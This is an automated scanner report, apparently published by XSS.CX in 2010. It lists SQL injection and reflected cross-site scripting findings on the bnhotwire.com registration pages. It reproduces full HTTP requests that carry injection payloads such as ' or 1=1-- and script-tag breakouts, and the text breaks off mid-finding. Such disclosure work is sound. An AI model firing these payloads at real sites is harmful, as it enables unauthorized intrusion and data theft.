Report generated by XSS.CX at Tue Dec 14 11:32:01 EST 2010.


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1. SQL injection

1.1. http://www.bnhotwire.com/register/confirm.asp [Postal_a parameter]

1.2. http://www.bnhotwire.com/register/confirm.asp [StationPhone_a parameter]

2. Cross-site scripting (reflected)

2.1. http://www.bnhotwire.com/register/confirm.asp [FirstName parameter]

2.2. http://www.bnhotwire.com/register/terms.asp [Address parameter]

2.3. http://www.bnhotwire.com/register/terms.asp [Address parameter]

2.4. http://www.bnhotwire.com/register/terms.asp [AirName parameter]

2.5. http://www.bnhotwire.com/register/terms.asp [AirName parameter]

2.6. http://www.bnhotwire.com/register/terms.asp [CallSign parameter]

2.7. http://www.bnhotwire.com/register/terms.asp [CallSign parameter]

2.8. http://www.bnhotwire.com/register/terms.asp [City parameter]

2.9. http://www.bnhotwire.com/register/terms.asp [City parameter]

2.10. http://www.bnhotwire.com/register/terms.asp [Email parameter]

2.11. http://www.bnhotwire.com/register/terms.asp [Email parameter]

2.12. http://www.bnhotwire.com/register/terms.asp [FirstName parameter]

2.13. http://www.bnhotwire.com/register/terms.asp [FirstName parameter]

2.14. http://www.bnhotwire.com/register/terms.asp [Format parameter]

2.15. http://www.bnhotwire.com/register/terms.asp [Format parameter]

2.16. http://www.bnhotwire.com/register/terms.asp [LastName parameter]

2.17. http://www.bnhotwire.com/register/terms.asp [LastName parameter]

2.18. http://www.bnhotwire.com/register/terms.asp [PROVINCE parameter]

2.19. http://www.bnhotwire.com/register/terms.asp [PROVINCE parameter]

2.20. http://www.bnhotwire.com/register/terms.asp [Phone_a parameter]

2.21. http://www.bnhotwire.com/register/terms.asp [Phone_a parameter]

2.22. http://www.bnhotwire.com/register/terms.asp [Phone_b parameter]

2.23. http://www.bnhotwire.com/register/terms.asp [Phone_b parameter]

2.24. http://www.bnhotwire.com/register/terms.asp [Phone_c parameter]

2.25. http://www.bnhotwire.com/register/terms.asp [Phone_c parameter]

2.26. http://www.bnhotwire.com/register/terms.asp [Phone_ext parameter]

2.27. http://www.bnhotwire.com/register/terms.asp [Phone_ext parameter]

2.28. http://www.bnhotwire.com/register/terms.asp [Postal_a parameter]

2.29. http://www.bnhotwire.com/register/terms.asp [Postal_a parameter]

2.30. http://www.bnhotwire.com/register/terms.asp [Postal_b parameter]

2.31. http://www.bnhotwire.com/register/terms.asp [Postal_b parameter]

2.32. http://www.bnhotwire.com/register/terms.asp [StationPhone_a parameter]

2.33. http://www.bnhotwire.com/register/terms.asp [StationPhone_a parameter]

2.34. http://www.bnhotwire.com/register/terms.asp [StationPhone_b parameter]

2.35. http://www.bnhotwire.com/register/terms.asp [StationPhone_b parameter]

2.36. http://www.bnhotwire.com/register/terms.asp [StationPhone_c parameter]

2.37. http://www.bnhotwire.com/register/terms.asp [StationPhone_c parameter]

2.38. http://www.bnhotwire.com/register/terms.asp [Title parameter]

2.39. http://www.bnhotwire.com/register/terms.asp [Title parameter]

3. Cookie without HttpOnly flag set

4. Email addresses disclosed

4.1. http://www.bnhotwire.com/content.asp

4.2. http://www.bnhotwire.com/register/confirm.asp

5. HTML does not specify charset

5.1. http://www.bnhotwire.com/

5.2. http://www.bnhotwire.com/register/

5.3. http://www.bnhotwire.com/register/confirm.asp

5.4. http://www.bnhotwire.com/register/terms.asp

5.5. http://www.bnhotwire.com/start.htm



1. SQL injection  next
There are 2 instances of this issue:

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:



1.1. http://www.bnhotwire.com/register/confirm.asp [Postal_a parameter]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.bnhotwire.com
Path:   /register/confirm.asp

Issue detail

The Postal_a parameter appears to be vulnerable to SQL injection attacks. The payload 17517614'%20or%201%3d1--%20 was submitted in the Postal_a parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /register/confirm.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/terms.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 245

check_1=ON&B1=Submit&FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27-%27-%27&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&Province=ON&Postal_a=%27%27+%27%2717517614'%20or%201%3d1--%20&StationPhone_a=--

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:50 GMT
Content-Length: 4969
Content-Type: text/html
Expires: Tue, 14 Dec 2010 16:13:51 GMT
Cache-control: private


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<html dir=ltr>

<head>
<style>
a:link            {font:8pt/11pt verdana; color:FF0000}
a:visited        {font:8pt/11pt verdana; color:#4e4e4e}
</sty
...[SNIP]...
<br>
Microsoft OLE DB Provider for ODBC Drivers (0x80040E21)<br>
...[SNIP]...

1.2. http://www.bnhotwire.com/register/confirm.asp [StationPhone_a parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.bnhotwire.com
Path:   /register/confirm.asp

Issue detail

The StationPhone_a parameter appears to be vulnerable to SQL injection attacks. The payload 10029809'%20or%201%3d1--%20 was submitted in the StationPhone_a parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /register/confirm.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/terms.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 245

check_1=ON&B1=Submit&FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27-%27-%27&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&Province=ON&Postal_a=%27%27+%27%27&StationPhone_a=--10029809'%20or%201%3d1--%20

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:53 GMT
Content-Length: 4969
Content-Type: text/html
Expires: Tue, 14 Dec 2010 16:13:53 GMT
Cache-control: private


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<html dir=ltr>

<head>
<style>
a:link            {font:8pt/11pt verdana; color:FF0000}
a:visited        {font:8pt/11pt verdana; color:#4e4e4e}
</sty
...[SNIP]...
<br>
Microsoft OLE DB Provider for ODBC Drivers (0x80040E21)<br>
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 39 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.bnhotwire.com/register/confirm.asp [FirstName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/confirm.asp

Issue detail

The value of the FirstName request parameter is copied into the HTML document as plain text between tags. The payload 9717b<script>alert(1)</script>2b8fff940eb was submitted in the FirstName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/confirm.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/terms.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 245

check_1=ON&B1=Submit&FirstName=%27%279717b<script>alert(1)</script>2b8fff940eb&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27-%27-%27&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&Province=ON&Postal_a=%27%27+%27%27&StationPh
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:12 GMT
Content-Length: 3774
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<script language="JavaScript">
<!--
//CloseWindow
function closeWindow()
{
...[SNIP]...
<font color="#000000">Thank you ''9717b<script>alert(1)</script>2b8fff940eb    for applying for The Canadian Press HotWire registration. Once your
   information is confirmed, you will be sent a password allowing you to enter the site. Please note, this may take up to three bus
...[SNIP]...

2.2. http://www.bnhotwire.com/register/terms.asp [Address parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Address request parameter is copied into the HTML document as plain text between tags. The payload 5cc7a<script>alert(1)</script>de1a3c265f5 was submitted in the Address parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%275cc7a<script>alert(1)</script>de1a3c265f5&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:02 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''5cc7a<script>alert(1)</script>de1a3c265f5</td>
...[SNIP]...

2.3. http://www.bnhotwire.com/register/terms.asp [Address parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Address request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4da1f"><script>alert(1)</script>7802efd2898 was submitted in the Address parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%274da1f"><script>alert(1)</script>7802efd2898&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:01 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="Address" value= "''4da1f"><script>alert(1)</script>7802efd2898">
...[SNIP]...

2.4. http://www.bnhotwire.com/register/terms.asp [AirName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the AirName request parameter is copied into the HTML document as plain text between tags. The payload 67b95<script>alert(1)</script>289adca3a29 was submitted in the AirName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%2767b95<script>alert(1)</script>289adca3a29&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:51 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''67b95<script>alert(1)</script>289adca3a29</td>
...[SNIP]...

2.5. http://www.bnhotwire.com/register/terms.asp [AirName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the AirName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb82d"><script>alert(1)</script>783a96f383 was submitted in the AirName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27fb82d"><script>alert(1)</script>783a96f383&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:50 GMT
Content-Length: 6637
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="AirName" value= "''fb82d"><script>alert(1)</script>783a96f383">
...[SNIP]...

2.6. http://www.bnhotwire.com/register/terms.asp [CallSign parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the CallSign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cabf"><script>alert(1)</script>f6e1b4e94b4 was submitted in the CallSign parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%271cabf"><script>alert(1)</script>f6e1b4e94b4&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:45 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="CallSign" value= "''1cabf"><script>alert(1)</script>f6e1b4e94b4">
...[SNIP]...

2.7. http://www.bnhotwire.com/register/terms.asp [CallSign parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the CallSign request parameter is copied into the HTML document as plain text between tags. The payload ac88d<script>alert(1)</script>db97a9403c8 was submitted in the CallSign parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27ac88d<script>alert(1)</script>db97a9403c8&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:13:46 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''ac88d<script>alert(1)</script>db97a9403c8</td>
...[SNIP]...

2.8. http://www.bnhotwire.com/register/terms.asp [City parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the City request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba45c"><script>alert(1)</script>2e83ade1a26 was submitted in the City parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%27ba45c"><script>alert(1)</script>2e83ade1a26&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:06 GMT
Content-Length: 6639
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
<input type="hidden" name="City" value= "''ba45c"><script>alert(1)</script>2e83ade1a26">
...[SNIP]...

2.9. http://www.bnhotwire.com/register/terms.asp [City parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the City request parameter is copied into the HTML document as plain text between tags. The payload 17f7a<script>alert(1)</script>efc8ce3ba9c was submitted in the City parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.bnhotwire.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASPSESSIONIDQQATAARC=AJLCGANCPCJFKBKEKHMJBGMB
Content-Length: 303

FirstName=%27%27&LastName=%27%27&Title=&Email=%27a%3Da%27--@%5C%5C%2Fscript.com&Phone_a=%27&Phone_b=%27&Phone_c=%27&Phone_ext=&CallSign=%27%27&AirName=%27%27&Format=%27%27&Address=%27%27&City=%27%2717f7a<script>alert(1)</script>efc8ce3ba9c&PROVINCE=ON&Postal_a=%27%27&Postal_b=%27%27&StationPhone_a=&StationPhone_b=&StationPhone_c=&B1=Next+Step

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 14 Dec 2010 16:14:08 GMT
Content-Length: 6635
Content-Type: text/html
Cache-control: private


<html>
<head>
<title>HotWire Registration</title>
<link rel="stylesheet" type="text/css" href="../cpstyle.css">
<SCRIPT language=javascript>
<!--
//CloseWindow
function closeWindow()
{
p
...[SNIP]...
</b>:&nbsp;''17f7a<script>alert(1)</script>efc8ce3ba9c</td>
...[SNIP]...

2.10. http://www.bnhotwire.com/register/terms.asp [Email parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bnhotwire.com
Path:   /register/terms.asp

Issue detail

The value of the Email request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 524fc"><script>alert(1)</script>d800c9ff9b3 was submitted in the Email parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /register/terms.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.bnhotwire.com/register/
Accept-Language: en-us
